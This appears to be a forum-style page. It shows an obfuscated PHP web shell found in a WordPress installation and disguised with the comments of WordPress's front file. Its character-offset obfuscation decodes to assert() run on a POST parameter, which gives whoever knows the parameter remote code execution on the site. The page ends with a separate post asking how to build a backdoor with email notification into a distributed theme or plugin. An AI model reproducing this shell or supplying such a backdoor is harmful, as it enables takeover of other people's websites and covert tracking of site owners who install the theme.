Obfuscated PHP backdoor

backdoor.php

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
/** Loads the WordPress Environment and Template */
@$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[112]).chr($a[53]).chr($a[98]).chr($a[112]).chr($a[118]).chr($a[112]).chr($a[53]).chr($a[98]).chr($a[112]).chr($a[118])]);
?>

Found the following in a WordPress-installation

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those codes kindly help me... I need to learn it also, Thank you